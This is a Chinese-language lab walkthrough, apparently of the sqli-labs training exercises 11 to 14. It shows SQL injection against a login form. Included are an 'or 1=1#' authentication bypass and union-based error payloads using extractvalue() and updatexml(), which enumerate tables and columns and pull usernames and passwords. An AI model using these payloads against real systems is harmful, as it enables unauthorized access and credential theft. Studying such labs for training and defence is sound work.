第十一题
方法一
poss提交
输入1显示登录失败
![](https://file.jishuzhan.net/article/1779318568320503810/9858852e82b53537910dd204a47356cc.webp)
输入1' 显示报错信息
![](https://file.jishuzhan.net/article/1779318568320503810/8ed855a1d05d462ce7e136481ca31777.webp)
根据提示得知:SQL查询语句为 username='参数' and password=''
and是与运算;两个或多个条件同时满足,才为真(显示一条数据)
or是或运算,两个或多个条件满足其中一个即为真(显示一条数据)
此处只能用1' or 1=1# 不能用and,因为不知道username,username='1'恒为假
并且只能用#,用--+无效
1' or 1=1# 页面正常显示
![](https://file.jishuzhan.net/article/1779318568320503810/b39c9f8a0297d868f01f665dc93eebd2.webp)
1' or 1=2# 页面报错
![](https://file.jishuzhan.net/article/1779318568320503810/ce22a15944fa1b4055f8375c1d499324.webp)
说明SQL语句正确
后续步骤使用联合注入
方法二
登录界面,Burpsuite抓包尝试
![](https://file.jishuzhan.net/article/1779318568320503810/a63391b6fe5070d4299537bd8b9961c6.webp)
输入1',提示报错、单引号注入
![](https://file.jishuzhan.net/article/1779318568320503810/82b7a6f87c28d5a1afd5fe0acbe7c3d5.webp)
使用报错注入的方法:extractvalue()
1'order by 2 判断列数
1'union select 1,extractvalue(1,concat(0x7e,database()))%23 爆版本号、数据库名、权限等
1'union select 1,extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 1,1)))%23 爆表名
1'union select 1,extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1)))%23 爆列名
1'union select 1,extractvalue(1,concat(0x7e,(select username from users limit 0,1)))%23
1'union select 1,extractvalue(1,concat(0x7e,(select password from users limit 0,1)))%23 爆账号密码
或者1'union select username,password from users limit 1,1 %23
![](https://file.jishuzhan.net/article/1779318568320503810/286a0c3e468bdc1afab1e27eaf0aabc0.webp)
使用报错注入的方法:updatexml()
1'order by 2 判断列数
1'union select 1,updatexml(1,concat(0x7e,database()),1)%23 爆版本号、数据库名、权限等
1'union select 1,updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 1,1)),1)%23 爆表名
1'union select 1,updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1)),1)%23 爆列名
1'union select 1,updatexml(1,concat(0x7e,(select username from users limit 0,1)),1)%23
1'union select 1,updatexml(1,concat(0x7e,(select password from users limit 0,1)),1)%23 爆账号密码
或者1'union select username,password from users limit 1,1 %23
第十二题
输入1 和 1' 页面没反应 输入1" 页面出现报错信息,提示是双引号带括号注入
猜解步骤与第十一题相同
![](https://file.jishuzhan.net/article/1779318568320503810/e0fd9ff42a50c661e32cfa86738a1bb9.webp)
第十三题
输入1' 出现报错信息,提示是单引号带括号注入
猜解步骤与第十一题相同
![](https://file.jishuzhan.net/article/1779318568320503810/f3ef78564c8a1127f36299beb1ae6fb9.webp)
第十四题
输入1",出现报错信息,提示是双引号注入
猜解步骤与第十一题相同
![](https://file.jishuzhan.net/article/1779318568320503810/11ab95632bf9f8b946803c2082aa7927.webp)